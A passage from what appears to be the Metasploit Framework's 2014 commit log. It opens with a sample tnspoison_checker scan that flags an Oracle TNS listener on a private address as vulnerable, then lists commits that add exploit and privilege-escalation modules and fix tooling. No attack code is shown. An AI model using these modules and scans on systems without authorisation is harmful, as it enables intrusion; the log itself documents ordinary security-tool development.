Module options (auxiliary/scanner/oracle/tnspoison_checker1):

   Name     Current Setting                          Required  Description
   ----     ---------------                          --------  -----------
   RHOSTS   172.16.2.100, 172.16.2.24, 172.16.2.101  yes       The target address range or CIDR identifier
   RPORT    1521                                     yes       The target port
   THREADS  1                                        yes       The number of concurrent threads

msf auxiliary(tnspoison_checker) > exploit 

[+] 172.16.2.100:1521 is vulnerable
[*] Scanned 1 of 3 hosts (033% complete)
[-] 172.16.2.24:1521 is not vulnerable 
[*] Scanned 2 of 3 hosts (066% complete)
[-] 172.16.2.101:1521 unable to connect to the server
[*] Scanned 3 of 3 hosts (100% complete)
[*] Auxiliary module execution completed
2014-11-11 17:29:27 +03:00
Juan Escobar ac17780f6d Fix by @FireFart to recover communication with the application after a meterpreter session 2014-11-11 05:49:18 -05:00
Juan Escobar 6bf1f613b6 Fix issues reported by FireFart 2014-11-11 00:41:58 -05:00
jvazquez-r7 091da05a86 update from master 2014-11-10 22:59:44 -06:00
OJ 39b8bcc808 Merge branch 'upstream/master' of github.com:rapid7/metasploit-framework 2014-11-11 09:25:37 +10:00
OJ 4987f77526 Land #4157 - Add getsid to python meterpreter 2014-11-11 09:24:51 +10:00
jvazquez-r7 3faf4a4702 Land #4120, @nullbind's module for MS SQL privilege escalation
* through ESCALATE AS
2014-11-10 16:59:28 -06:00
jvazquez-r7 cac6494427 Use snake_case in filename 2014-11-10 16:58:46 -06:00
jvazquez-r7 2c33642de8 Do minor cleanup 2014-11-10 16:57:57 -06:00
jvazquez-r7 12ae8b3ec6 update from master 2014-11-10 16:19:26 -06:00
nullbind 493b81d874 cleanup 2014-11-10 15:22:21 -06:00
nullbind 31fa57fcb2 mssql_enum_sql_logins 2014-11-10 15:19:55 -06:00
Scott Sutherland d543b16cc1 Added mssql_enum_sql_logins.rb 2014-11-10 15:02:46 -06:00
Scott Sutherland ea226f7482 Update mssql_enum_sql_logins.rb 2014-11-10 15:02:14 -06:00
jvazquez-r7 0a68171bab Land #4166, @wchen-r7's fix for undefined method `rank'
* Fixes #4047
* undefined method `rank' due to an invalid encoder name
2014-11-10 15:00:17 -06:00
David Maloney bf1558d702 update gemspec for metasploit-credential
update gemspec to use newest metasploit-credential

MSP-11592
2014-11-10 14:54:09 -06:00
Juan Escobar d4bbf0fe39 Fix issues reported by wchen-r7 and mmetince 2014-11-10 15:27:10 -05:00
jvazquez-r7 86ff5f93eb Land #4158, Fix for null dereference on Exploit::Remote::HttpServer#remove_resource 2014-11-10 14:14:48 -06:00
jvazquez-r7 4e96833408 Check service before using it 2014-11-10 14:14:20 -06:00
jvazquez-r7 1064049729 Revert "Fix buggy calls to stop_service"
This reverts commit 613f5309bb.
2014-11-10 14:05:57 -06:00
Pedro Ribeiro cc99a6a96f Merge pull request #9 from jvazquez-r7/review_4155
Clean exploit for CVE-2014-8499 - PMP privesc + password disclosure
2014-11-10 19:44:28 +00:00
nullbind 74344e9295 added mssql_enum_sql_logins 2014-11-10 13:42:52 -06:00
sinn3r 0b51741779 Fix #4047 - undefined method `rank' due to an invalid encoder name
Fix #4047 caused by an invalid encoder name. Also added elog() to
avoid shutting everything up in msfvenom
2014-11-10 13:25:53 -06:00
jvazquez-r7 4b701700c1 Fix banner 2014-11-10 12:40:53 -06:00
Jon Hart 7ed11ffd52 Check for INTERFACE or SMAC in dtp setup 2014-11-10 10:14:47 -08:00
jvazquez-r7 65dbb1a83f Do print_status 2014-11-10 11:26:53 -06:00
jvazquez-r7 7aed1e9581 Create loot_passwords method 2014-11-10 11:21:44 -06:00
jvazquez-r7 92df11baa7 Create report_super_admin_creds method 2014-11-10 11:16:25 -06:00
jvazquez-r7 8f17011909 do run clean up
* Reduce code complexity
* Don't report not valid administrator credentials
2014-11-10 11:12:04 -06:00
jvazquez-r7 635df2f233 Fail with NoAccess 2014-11-10 09:50:26 -06:00
jvazquez-r7 9c033492d2 Fix indentation 2014-11-10 09:48:22 -06:00
jvazquez-r7 2236518694 Check res.body before accessing #to_s 2014-11-10 09:47:05 -06:00
jvazquez-r7 8b8ab61e3d Favor && over and 2014-11-10 09:45:12 -06:00
jvazquez-r7 ee4924582a Use target_uri 2014-11-10 09:43:44 -06:00
jvazquez-r7 8ddd6a4655 Redefine RPORT having into account it is builtin 2014-11-10 09:42:30 -06:00
jvazquez-r7 eb36a36272 Change title 2014-11-10 09:40:22 -06:00
Trevor Rosen 8511dc4131 Merge branch 'landing/4135' into upstream-master
Land #4135

* Improve Bundle management:
* Option to install w/out DB group
* Option to install w/out pcap support
2014-11-10 09:26:42 -06:00
Spencer McIntyre 7edc248207 Don't fail if username_from_token returns None 2014-11-10 09:15:16 -05:00
Joshua Smith 1844b3956d Land #4063 allow session lists
Note: the parsing for cmd_sessions  needs to be revamped and DRYd up in
a separate PR.
2014-11-09 22:40:53 -06:00
Joshua Smith 03a988b5dc Land #4150, adds getsid command
Fixes #3787
2014-11-09 22:10:22 -06:00
William Vu 88810ce836 Land #4161, "fullname" NilClass fix 2014-11-09 20:07:37 -06:00
William Vu 0e772cc338 Land #4161, "stop" NilClass fix 2014-11-09 19:37:32 -06:00
OJ eb830cb361 Idiomaticise the rubies 2014-11-10 07:44:36 +10:00
sinn3r 7980a7052c Fix #4132 - msfvenom undefined method fullname for NilClass 2014-11-09 14:27:59 -06:00
sinn3r 8f3b1e71b3 Fix #4156 - NoMethodError undefined method `stop'
This will fix #4156. It also fixes NoMethodError payload_exe
when I was trying to fix the undef 'stop' one
2014-11-09 14:07:02 -06:00
sinn3r cd0dbc0e24 Missed another 2014-11-09 14:06:39 -06:00
Juan Escobar 9cce7643ab update description and fix typos 2014-11-09 09:10:01 -05:00
Juan Escobar 5d17637038 Add CVE-2014-7146 PHP Code Execution for MantisBT 2014-11-09 08:00:44 -05:00
Pedro Ribeiro b3c27452cd Add full disclosure URL 2014-11-09 10:40:41 +00:00
Julio Auto 613f5309bb Fix buggy calls to stop_service 2014-11-09 02:15:30 -06:00
Spencer McIntyre 104841babf Add getsid to the python meterpreter 2014-11-08 20:57:24 -05:00
jvazquez-r7 bc5529396f Land #4137, @pedrib's module for Eventlog CVE-2014-6038/6039 2014-11-08 08:12:11 -06:00
Pedro Ribeiro f680b666c7 Add github adv URL 2014-11-08 11:29:36 +00:00
Pedro Ribeiro 143033f657 Rename manageengine_pmp_sadmin.rb to manageengine_pmp_privesc.rb 2014-11-08 11:28:04 +00:00
Pedro Ribeiro 2843437ca9 Create exploit for CVE-2014-8499 2014-11-08 11:24:50 +00:00
Pedro Ribeiro 7d2d0aa166 Merge pull request #8 from rapid7/master
bla
2014-11-08 11:22:41 +00:00
Pedro Ribeiro e7b448537f Add OSVDB ids 2014-11-08 11:05:34 +00:00
Pedro Ribeiro bf7c7688c0 Merge pull request #7 from jvazquez-r7/review_4137
Review Eventlog Analzyer exploit for CVE-2014-6038/6039
2014-11-08 11:04:28 +00:00
jvazquez-r7 9d6e0664a4 Guess service name and port 2014-11-07 20:56:01 -06:00
jvazquez-r7 a44640c9fc Use single quotes 2014-11-07 20:48:04 -06:00
jvazquez-r7 7c1c08fc19 Use single quotes without interpolation 2014-11-07 20:46:47 -06:00
jvazquez-r7 0373156cce Use unless over if not 2014-11-07 20:42:08 -06:00
jvazquez-r7 f5a920da99 Use || operator 2014-11-07 20:41:44 -06:00
jvazquez-r7 64754a5609 Delete unnecessary begin..end block 2014-11-07 20:38:36 -06:00
jvazquez-r7 0919f74a3d Delete unused variable 2014-11-07 20:37:57 -06:00
jvazquez-r7 22b875d0f3 Reduce code complexity 2014-11-07 20:37:40 -06:00
jvazquez-r7 b1517e6ace Delete unnecessary nil comparision 2014-11-07 20:34:13 -06:00
jvazquez-r7 aa1fec7f02 Use fail_with 2014-11-07 20:33:33 -06:00
jvazquez-r7 d630eac272 Reduce code complexity 2014-11-07 20:32:15 -06:00
jvazquez-r7 cea30b5427 Use built-in format for RPORT 2014-11-07 20:30:32 -06:00
jvazquez-r7 e99cc00a57 No more than 100 columns on description 2014-11-07 20:29:38 -06:00
William Vu a830c28012 Land #4151, downcase nil deref. fix 2014-11-07 11:43:22 -06:00
Jon Hart 2b7d25950b Land #4148, @wchen-r7 fixed #4133 2014-11-07 08:26:29 -08:00
sinn3r e54442af36 Fix #4089 - undefined method `downcase' for nil:NilClass 2014-11-07 02:45:22 -06:00
sinn3r 0dbfecba36 Better method name
Should be srvhost, not lhost
2014-11-07 02:23:34 -06:00
Pedro Ribeiro c00a3ac9cd Add full disclosure URL 2014-11-07 08:06:21 +00:00
Samuel Huckins 71a96f256b Land #4149, readline adjustments
* Windows guard, DRYing
2014-11-07 00:09:48 -06:00
Joshua Smith 7b25e3be75 Land #4139, Visual Mining NetCharts
landed after some touch up
2014-11-06 22:52:41 -06:00
Joshua Smith 7510fb40aa touch up visual_mining_netcharts_upload 2014-11-06 22:50:20 -06:00
Joshua Smith 709ff1bbdb touch up lib/rex/mime/message.rb 2014-11-06 22:48:34 -06:00
OJ 08e707225c Add support for the getsid command
There has been Meterpreter work done as well to support this. But this
commit allows for a new 'getsid' command which tells you the sid of the
current process/thread. This can be used for things like determining
whether the current process is running as system. It could also be used
for golden ticket creation, among other things.
2014-11-07 10:38:22 +10:00
Trevor Rosen b5220c8881 Update metasploit-framework-full.gemspec
Fix typo
2014-11-06 17:07:48 -06:00
Pedro Ribeiro 8a0249cdbf Address Juan's points 2014-11-06 21:02:28 +00:00
Luke Imhoff f494a9f3da Don't depend on 'rb-readline' on Windows
MSP-11585

`rb-readline` gem doesn't work with Ruby Installer for 1.9.3 because of
`NoMethodError undefined method 'dlopen' for Fiddle:Module`.  Removing
`rb-readline` may be a temporary fix it if turns out that this is a bug
with rb-readline or some other upstream bug.
2014-11-06 14:52:49 -06:00
Luke Imhoff 122928d952 Remove redundant rb-readline from Gemfile
MSP-11585

The entry in the gemspec is sufficient.
2014-11-06 14:51:10 -06:00
jvazquez-r7 64fe2dd7d6 Land #4143, @kernelsmith's get_custom_exe fix
* Initializes the exe variable
* Fixes #4131
2014-11-06 14:39:57 -06:00
sinn3r 579481e5f8 Explain why I did this
Also tagging Fix #4133
2014-11-06 14:25:11 -06:00
sinn3r f210ade253 Use SRVHOST for msvidctl_mpeg2 2014-11-06 14:23:21 -06:00
Luke Imhoff 8416985c9d Give Threads UUIDs for spec run so caller can be correlated
Have 'metasploit/framework/spec/threads/suite/logger' generate a UUID
for each Thread.  This UUID is printed on the "BEGIN Thread.new caller"
line and is assigned as a thread-local variable,
'metasploit/framework/spec/threads/logger/uuid'.  In `after(:suite)`,
the log can be parsed to map the caller back to each UUID and then only
the UUID of the still existing threads is used to look up the caller and
print their stacktraces.  This means only leaked threads callers will be
printed.
2014-11-06 14:05:35 -06:00
Joshua Smith b199820d23 init exe as nil instead of '' 2014-11-06 13:31:37 -06:00
jvazquez-r7 6e51d84371 Land #4138, @wchen-r7's reference cheking for module_reference.rb
* Fixes #4039
2014-11-06 10:51:29 -06:00
Tom Sellers 9295d9077e Remove debugging output 2014-11-06 09:27:44 -06:00
Luke Imhoff 8f635a1d76 Remove empty define_task
MSP-11147
2014-11-06 09:11:31 -06:00
Luke Imhoff 8855e0731c Fix multiline string indentation
MSP-11147
2014-11-06 09:11:12 -06:00
Luke Imhoff 8d06189a19 Tell use to run with rake spec to see Thread.new caller
MSP-11147

If the log isn't available, tell the user to rerun with `rake spec`
instead of printing nothing after the `:\n`, which looks incomplete.
2014-11-06 09:10:04 -06:00
Luke Imhoff c1f1222783 Check that threads/suite.log exists before reading
MSP-11147

Even with leaked threads, there may be no log if the suite is run
without `rake spec`, such as when `rspec` is used directly to run a
subset of specs.
2014-11-06 09:07:11 -06:00
Tom Sellers 8bf6a34d6c Fix empty session ID and cleanup
- Fixed handling of empty session IDs for those commands that required them
- Added help text for ranges with examples
2014-11-06 07:18:55 -06:00
sinn3r f7e308cae8 Land #4110 - Citrix Netscaler BoF 2014-11-06 00:04:17 -06:00
Joshua Smith 861443d947 Land #4144, fix default template.pdf 2014-11-05 23:13:16 -06:00
sinn3r c2391bf011 Add an R in /Info for the trailer dictionary to make it readable 2014-11-05 22:28:37 -06:00
Joshua Smith 265c178c52 fixes #4131, EXE::Custom NameError 2014-11-05 22:10:54 -06:00
jvazquez-r7 54c1e13a98 Land #4140, @wchen-r7's default template for adobe_pdf_embedded_exe
* Fixes #4134
* Adds a default PDF template
2014-11-05 20:21:14 -06:00
jvazquez-r7 adefb2326e Land #4124, @wchen-r7 fixes #4115 adding HTTP auth support to iis_webdav_upload_asp 2014-11-05 18:14:33 -06:00
Jon Hart 496c8fa47d Land #4136, @todb-r7's fix to allow use of other ruby versions
Only rbenv and rvm have been tested.

For rbenv:

  rbenv shell <VERSION>

For rvm:

  rvm --create --versions-conf use <VERSION>@metasploit-framework
2014-11-05 15:27:53 -08:00
sinn3r 1b2554bc0d Add a default template for CVE-2010-1240 PDF exploit 2014-11-05 17:08:38 -06:00
Jon Hart 973c639c0e Add note about rbenv for rvm .versions.conf local override 2014-11-05 15:03:02 -08:00
jvazquez-r7 c833888c32 Just randomize 2014-11-05 15:53:06 -06:00
Luke Imhoff d66c98b34d Remove prior log/metasploit/framework/spec/threads/suite.log
MSP-11147
2014-11-05 15:51:43 -06:00
Luke Imhoff d4d710cc3a Merge branch 'feature/MSP-11130/metasploit-framework-spec-constants' into feature/MSP-11147/thread-leak-detection
MSP-11147

Merge to get framework instance cleanup, which should clean up a lot of
thread leaks too.

Conflicts:
	Rakefile
	lib/metasploit/framework/spec.rb
	spec/spec_helper.rb
2014-11-05 15:47:59 -06:00
jvazquez-r7 79cabc6d68 Fix clean up 2014-11-05 15:46:33 -06:00
Luke Imhoff 097aa330e1 Log caller for each Thread.new for rake spec
MSP-11147
2014-11-05 15:34:35 -06:00
jvazquez-r7 c08993a9c0 Add module for ZDI-14-372 2014-11-05 15:31:20 -06:00
sinn3r 8da6e0bd5b Fix bugs 2014-11-05 15:26:00 -06:00
sinn3r 5b8d9e1221 Fix typo 2014-11-05 15:14:35 -06:00
sinn3r 98f5ebd475 Only show bad refs when using -c 2014-11-05 15:07:40 -06:00
Luke Imhoff 96990fdc02 Fail before suite if more than 1 thread exists
MSP-11147

Detect thread leaks in a `before(:suite)` configured by
`Metasploit::Framework::Spec::Threads::Suite.configure!` and fail if any
leaks are found.
2014-11-05 14:38:43 -06:00
Pedro Ribeiro e71ba1ad4a Push exploit for CVE-2014-6038/39 2014-11-05 20:12:03 +00:00
Pedro Ribeiro 490d6d046b Merge pull request #6 from rapid7/master
merge
2014-11-05 20:10:42 +00:00
Tod Beardsley cca30b536f Land #4094, fixes for OWA brute forcer
Fixes #4083

Thanks TONS to @jhart-r7 for doing most of the work on this!
2014-11-05 14:00:26 -06:00
Tod Beardsley a46839726e Make OWA 2013 the default, other fixes
Thanks @jhart-r7!

See rapid7#4083 and see rapid7#4094
2014-11-05 13:56:37 -06:00
Tod Beardsley 6b0107190e typo 2014-11-05 13:19:40 -06:00
Tod Beardsley 231d03bd3b Allow for locally chosen rubies
By ignoring .versions.conf, we can allow users pick their own versions
of ruby without having to jump through a bunch of hoops on keeping
.ruby-version straight between local and remote branches.
2014-11-05 13:18:26 -06:00
Luke Imhoff 382d34d398 Fix spec.name in metasploit-framework-full
MSP-11578

Left in 'metasploit-framework-db' after copying and forgot to update to
'metasploit-framework-full'.
2014-11-05 12:40:31 -06:00
Luke Imhoff 63b4c0beba Depend on metasloit-framework in optional gemspecs
MSP-11578

Optional gemspecs should depend on the minimal metasploit-framework
because they don't work without metasploit-framework's code.
2014-11-05 12:33:44 -06:00
jvazquez-r7 7ba705f23a Add some randomized variables to JSP Payloads
Because the JASPER engine with Tomcat has been found
complaining about the out variable.
2014-11-05 12:16:33 -06:00
jvazquez-r7 468b4a399a Fix Rex::MIME::Message specs 2014-11-05 11:43:55 -06:00
jvazquez-r7 741f99f118 Delete starting empty line
When header is empty it shouldn't add an starting empty
new line
2014-11-05 11:42:42 -06:00
Luke Imhoff 9137bd6527 Revert "Update Gemfile.lock"
MSP-11578

This reverts commit a3829b800d.
2014-11-05 11:10:51 -06:00
sinn3r 3310342a95 Add save-as feature
The tool produces A LOT OF results so it's really painful to manually
copy and paste and to be able to use the data. So it should automatically
save.

Tagging the issue here because I forgot to do it:
Fix #4039
2014-11-05 10:58:41 -06:00
Luke Imhoff 713578aea7 metasploit-framework-full.gemspec
MSP-11578

metasploit-framework-full depends on the minimal metasploit-framework
and all optional dependency gemspec: metasploit-framework-db and
metasploit-framework-pcap.
2014-11-05 10:20:09 -06:00
William Vu 40ee03ee63 Land #4126, rm Travis testing for 2.0 2014-11-05 10:18:57 -06:00
sinn3r f34ad57199 Check module references 2014-11-05 09:57:13 -06:00
Luke Imhoff a3829b800d Update Gemfile.lock
MSP-11578
2014-11-05 09:55:31 -06:00
Luke Imhoff 5619b6d554 Add metasploit-framework as dependency of metasploit-framework-pcap
MSP-11578

Any of the optional depenency gems should depend on the minimal
metasploit-framework as it supplies the versioning information.
2014-11-05 09:51:38 -06:00
Luke Imhoff 06222911f6 Move pcap bundler group to metasploit-framework-pcap.gemspec
MSP-11578

This will allow Metasploit Pro to use the
metasploit-framework-pcap.gemspec to ensure it has the correct version of
gems that were previously only in metasploit-framework's Gemfile and so
weren't being checked for version compatibility when Pro used
metasploit-framework.gemspec.
2014-11-05 09:40:57 -06:00
Luke Imhoff 3093ba8394 Explicitly require 'metasploit/credential' and 'metasploit_data_models'
By putting the db group into the metasploit-framework-db.gemspec,
bundler no longer automatically required 'metasploit/credential' and
'metasploit_data_models' because gems, such as metasploit-framework-db,
are expected to explictly require their dependencies.
2014-11-05 09:25:50 -06:00
Luke Imhoff a56a063b84 Move db bundler group to metasploit-framework-db.gemspec
MSP-11578

This will allow Metasploit Pro to use the
metasploit-framework-db.gemspec to ensure it has the correct version of
gems that were previously only in metasploit-framework's Gemfile and so
weren't being checked for version compatibility when Pro used
metasploit-framework.gemspec.
2014-11-05 08:58:46 -06:00
Tom Sellers 2bec646393 rolling back a change 2014-11-05 06:49:06 -06:00
Tom Sellers 8aa6fca760 Minor fixes and status update
Minor tweaks after the PR from @kernelsmith

Remaining items:

1. Handle empty session IDs correctly, for example 'sessions -d' or 'sessions -k'
2. Find a method of explaining the range options in the help text
3. Retest all changed code areas
4. Edit PR Summary to reflect changes to the scope
2014-11-05 06:46:55 -06:00
Tom Sellers ff6bc5cf68 Merge pull request #3 from kernelsmith/landing/4063-DRYer
modernizes & DRYs session/job ranges from kernelsmith
2014-11-05 06:05:14 -06:00
Joshua Smith 78a4ee686b modernizes & DRYs session/job ranges 2014-11-04 23:33:31 -06:00
Jon Hart ff8d481eec Update description to remove comments about defaults. Default to 2013 2014-11-04 21:21:19 -08:00
Jon Hart 2c028ca7a6 Move redirect check before body check -- a redirect won't have a body 2014-11-04 14:19:21 -08:00
Jon Hart 7855ede2de Move userpass emptiness checking into setup 2014-11-04 14:07:39 -08:00
William Vu ebb8b70472 Land #4015, another Android < 4.4 UXSS module 2014-11-04 15:52:29 -06:00
Tod Beardsley f8593ca1b5 Land #4109, tnftp savefile exploit from @wvu-r7 2014-11-04 15:44:13 -06:00
Tod Beardsley 5fb268bbdf Updates to better OWA fix 2014-11-04 14:32:54 -06:00
Luke Imhoff 9f573e2d8d Revert "Add .log extension to metasploit/framework/spec/constants/suite log"
MSP-11130

This reverts commit 4f986c4a48.

Extension wasn't there because it was a directory name and a log file
name.
2014-11-04 14:03:54 -06:00
Tod Beardsley 714fd0bec6 Incorporate @jhart-r7's better fix 2014-11-04 14:02:37 -06:00
Luke Imhoff dee02fc85b Automatically clear previous log/metasploit/framework/spec/constants/each.log
MSP-11130

Have a task, 'metasploit:framework:spec:constants:each:clean' run before
`rake spec` that removes the previous
`log/metasploit/framework/spec/constants/each.log` so that the user doesn't
have to manually remove the load when removing
`Metasploit::Framework::Spec::Constants::Each.configure!` from
`spec/spec_helper.rb`.
2014-11-04 13:58:13 -06:00
nullbind 56a02fdb4a added mssql_escalate_executeas_sqli.rb 2014-11-04 13:38:13 -06:00
Luke Imhoff 313d86982c Log Spec::Constants::Each error instead of flag.
MSP-11130

Instead of writing `1` to the file and then printing a verbose message
in the spec task action, log the verbose message and just print the log
in the spec task action, so other tools can just look at the log when
not using `rake spec`.

NOTE: Failing specs due to unnecessary
`Metasploit::Framework::Spec::Constants::Each.configure!`
2014-11-04 13:36:52 -06:00
Luke Imhoff 1d09fa677e log/remove-cleaner -> log/metasploit/framework/spec/constants/each.log
MSP-11130

Rename log file to match naming scheme for
Metasploit::Framework::Spec::Constants::Suite.
2014-11-04 13:21:47 -06:00
Luke Imhoff 4f986c4a48 Add .log extension to metasploit/framework/spec/constants/suite log
MSP-11130
2014-11-04 13:20:10 -06:00
Luke Imhoff 45fea32c77 Use 'Metasploit::Simple::Framework#modules loading' in 'payloads can be instantiated'
MSP-11130

Use `expect_to_load_module_ancestor` and `load_and_create_module` in
favor of the custom code in 'payloads can be instantiated'.
2014-11-04 13:06:52 -06:00
Luke Imhoff c115ad3c36 Use load_and_create_module in modules_spec
MSP-11130

Reuse 'Msf::Simple::Framework#modules loading' context in 'all modules
with module type can be instantiated' instead of using the similar code.
2014-11-04 12:59:59 -06:00
Jon Hart b0e388f4c3 Land #3516, @midnitesnake's snmp_enumusers fix for Solaris, OS X 2014-11-04 08:23:16 -08:00
Luke Imhoff 7cb0954a6e Add manual removal of log/remove-cleaner to Each removal
MSP-11130

When removing `Metasploit::Framework::Spec::Constants::Each.configure`
from spec/spec_helper.rb,
`Metasploit::Framework::Spec::Constants::Each.define_task` will see the
`log/remove-cleaner` from the last run unless it is manually removed.
2014-11-04 10:10:28 -06:00
Luke Imhoff b0f1b2a1f7 Merge branch 'master' into feature/MSP-11130/metasploit-framework-spec-constants
MSP-11130

Conflicts:
	Rakefile
2014-11-04 10:10:12 -06:00
Luke Imhoff cc4e553c11 Remove Metasploit::Framework::Spec::Constants::Each.configured!
MSP-11130

No longer needed because all before suite leaks have been fixed.
2014-11-04 09:50:16 -06:00
Luke Imhoff 0c769e2fd7 Fix constant leaks in Msf::Util::EXE spec
MSP-11130

Remove global $framework as it loads modules prior to suite run and they
are not cleaned up.
2014-11-04 09:48:55 -06:00
Luke Imhoff 78ea93044b Fix Msf::PayloadGenerator spec constant leaks
MSP-11130

Remove the constant PAYLOAD_FRAMEWORK as it leads to a
Msf::Simple::Framework instance that is not cleaned up and loads modules
prior to the beginning of the suite run.
2014-11-04 09:48:02 -06:00
Luke Imhoff ff0391cdc7 Fix derive_module_ancestor_names
MSP-11130

Wrap :reference_name in an Array since :ancestor_reference_names is
expected to be an Array.
2014-11-04 09:40:55 -06:00
nullbind 15119d2a0f comment fix-sorry 2014-11-04 09:07:08 -06:00
nullbind f108d7b20a fixed code comment 2014-11-04 08:51:27 -06:00
Joshua Smith b45cbfdf53 Land 4127, fix broken refactor in util/exe 2014-11-04 07:51:12 -06:00
agix 333d420c94 Fix refactoring bug from 23 october in util/exe
23 October, {} instead of #{} totally break windows service generation
https://github.com/rapid7/metasploit-framework/commit/f19b093529f3b3aacefb69f8133ab788859445d1#diff-0f5729034d8b0b321e738f2fc047854fL578
2014-11-04 11:59:36 +01:00
midnitesnake 1a2b1db0d5 Merge pull request #3 from jhart-r7/landing-3516-jhart
Numerous cleanups for snmp_enumusers
2014-11-04 06:46:32 +00:00
jvazquez-r7 400ef51897 Land #4076, exploit for x7chat PHP application 2014-11-03 18:22:04 -06:00
jvazquez-r7 3bf7473ac2 Add github pull request as reference 2014-11-03 18:18:42 -06:00
jvazquez-r7 44a2f366cf Switch ranking 2014-11-03 18:06:09 -06:00
jvazquez-r7 039d3cf9ae Do minor cleanup 2014-11-03 18:04:30 -06:00
William Vu 277fd5c7a1 Land #4123, release fixes 2014-11-03 16:20:00 -06:00
Juan Escobar 7e4248b601 Added compatibility with older versions, Updated descriptions and fixed issue with Ubuntu 12.04 2014-11-03 16:42:50 -05:00
Tod Beardsley 30ff0a3f55 Remove 2.0 Travis testing
Fixes #4125
2014-11-03 15:32:20 -06:00
Tod Beardsley 0199e4d658 Land #3770, resolve random stager bugs 2014-11-03 14:15:14 -06:00
sinn3r 9a27984ac1 switch from error to switch 2014-11-03 13:56:41 -06:00
sinn3r a823ca6b2f Add support for HTTP authentication. And more informative. 2014-11-03 13:46:53 -06:00
Tod Beardsley 0b39c2ed85 Land #4084, prep for Ruby 2.1 2014-11-03 13:43:50 -06:00
Tod Beardsley 51b96cb85b Cosmetic title/desc updates 2014-11-03 13:37:45 -06:00
HD Moore 8aecd5e4a5 Address the two open comments from @jlee-r7 2014-11-03 12:33:11 -06:00
nullbind fbe3adcb4c added mssql_escalate_executeas module 2014-11-03 11:29:15 -06:00
Luke Imhoff 9ea1240cbb Default modules_path
MSP-11130

Default `:modules_path` to use the `#modules_path` left for
'Msf::Simple::Framework#modules#loading''s `#load_and_create_module`.
2014-11-03 11:06:49 -06:00
Luke Imhoff 0296d1784d Derive ancestor reference names from reference name
MSP-11130

For 'Msf::Simple::Framework#modules loading''s load_and_create_modules,
don't require `:ancestor_reference_names` when the `:module_type` is not
payload as the one ancestor reference name will be the same as
`:reference_name`.
2014-11-03 10:59:01 -06:00
Jon Hart 8f197d4918 Move to build_probe 2014-11-03 08:41:51 -08:00
Jon Hart 05dd3fa4ba rport, not datastore['RPORT'] 2014-11-03 08:26:11 -08:00
Luke Imhoff d97bc52d8a Complete documentation for 'Msf::Simple::Framework::Modules loading'
MSP-11130
2014-11-03 09:47:29 -06:00
Luke Imhoff f0001eb9e6 Extract 'Msf::Simple::Framework#modules loading'
MSP-11130

'Msf::Simple::Framework#modules loading' defines
`#load_and_create_module`, which takes the :ancestor_reference_names,
:modules_path, :module_type, and :reference_name of the module whose
ancestors to load and the reference name to create. A default modules
path, the first 'modules' path for the Rails application is available in
in the `#modules_path` let.
2014-11-03 08:59:06 -06:00
OJ 4f0fbaa60c Land #4112 - Fix pointer types 2014-11-01 10:55:19 +10:00
jvazquez-r7 83360ba9d2 Land #4114, @wchen-r7's change to handle Rex::HostUnreachable 2014-10-31 19:23:45 -05:00
sinn3r 6f013cdcaf Missed these 2014-10-31 18:48:48 -05:00
jvazquez-r7 f43a6e9be0 Use PDWORD_PTR and DWORD_PTR 2014-10-31 17:35:50 -05:00
sinn3r d6a830eb6e Rescue the correct exception: Rex::HostUnreachable 2014-10-31 16:43:33 -05:00
Jon Hart 121ebdfef6 update_info 2014-10-31 13:17:50 -07:00
Tom Sellers 0b8b0499f3 - Added range support to sessions -c and sessions -s
- Added check for un-detach-able sessions
- Added back the check for session.interactive? when detaching sessions
- Collapse build_jobs_array and build_sessions_array to build_range_array
- Added check for empty or invalid parameters to detach and kill [session | job]
- Reworked session id sanity check around line 1660
- RuboCop/Style guide change: Array.new -> []
- Misc RuboCop/Style guide spacing changes
2014-10-31 15:02:17 -05:00
Jon Hart 83475bb929 Disable UnneededPercentQ in Rubocop 2014-10-31 12:19:17 -07:00
Jon Hart f5ee2d7948 Update .rubocop.yml to use correct Metrics namespace 2014-10-31 12:15:32 -07:00
Jon Hart b99e71dcdd Example UDPScanner style cleanup, move most to UDPScanner 2014-10-31 12:14:04 -07:00
Jon Hart c921611821 Move default probe and result store to UDPScanner, since most need it 2014-10-31 12:02:21 -07:00
jvazquez-r7 6154b7d55f Fix style again 2014-10-31 12:51:48 -05:00
jvazquez-r7 203af90a44 Fix style 2014-10-31 12:50:23 -05:00
jvazquez-r7 0c23733722 Use hungarian notation 2014-10-31 12:47:50 -05:00
jvazquez-r7 8e547e27b3 Use correct types 2014-10-31 12:37:21 -05:00
Jon Hart ff0b52cffb Example per-batch vprint, a useful default 2014-10-31 10:31:31 -07:00
Jon Hart 1f6658639f More sane % printing for aux scanner 2014-10-31 10:25:01 -07:00
Jon Hart 94d4388af9 Improvements to example UDPScanner 2014-10-31 09:53:10 -07:00
Jon Hart f16720bb55 Trailing , 2014-10-31 09:39:34 -07:00
Jon Hart f66c43475b More sane % printing for aux scanner 2014-10-31 09:39:21 -07:00
Jon Hart 77cd6dbc8b Usability improvements to UDPScanner
* Add RPORT as a regular option, define rport
* Add CPORT as an advanced option, define cport
* Change CHOST to an advanced option
* Use a more sane THREADS value since hosts are scanned in batches
2014-10-31 09:20:14 -07:00
Joe Vennix 1e9f9ce425 Handle invalid JSON errors and fix typo. 2014-10-31 11:01:49 -05:00
sinn3r cd16ee8791 Land #4107 - Bump to ruby-1.9.3-p550 for CVE-2014-8080 2014-10-31 10:27:09 -05:00
Jon Hart d9f0a10737 Add new example template for scanning UDP services 2014-10-31 08:06:31 -07:00
jvazquez-r7 40bf44bd05 Don't allow 127.0.0.1 as SRVHOST 2014-10-31 08:19:15 -05:00
sinn3r f6f7d93fa2 Land #4111 - a little something for the holiday 2014-10-30 23:45:21 -05:00
HD Moore 9b61ae5f63 This is halloween.
THISISHALLOWEEN=1 ./msfconsole
2014-10-30 23:35:12 -05:00
jvazquez-r7 7d2fa9ee94 Delete unnecessary to_s 2014-10-30 22:59:22 -05:00
William Vu 953a642b0e Finally write a decent description 2014-10-30 22:51:42 -05:00
sinn3r 64f4777407 Land #4091 - Xerox DLM injection 2014-10-30 22:15:16 -05:00
sinn3r b7a1722b46 Pass msftidy, more descriptive name and description 2014-10-30 22:14:18 -05:00
William Vu e3ed7905f1 Add tnftp_savefile exploit
Also add URI{HOST,PORT} and {,v}print_good to HttpServer.
2014-10-30 20:38:16 -05:00
jvazquez-r7 8fdea5f74c Change module filename 2014-10-30 20:34:24 -05:00
jvazquez-r7 9404e24b24 Update module information 2014-10-30 20:33:38 -05:00
Jon Hart 77433a6504 Land #3507/#3463, a communal effort around improving splunk_upload_app_exec 2014-10-30 18:29:43 -07:00
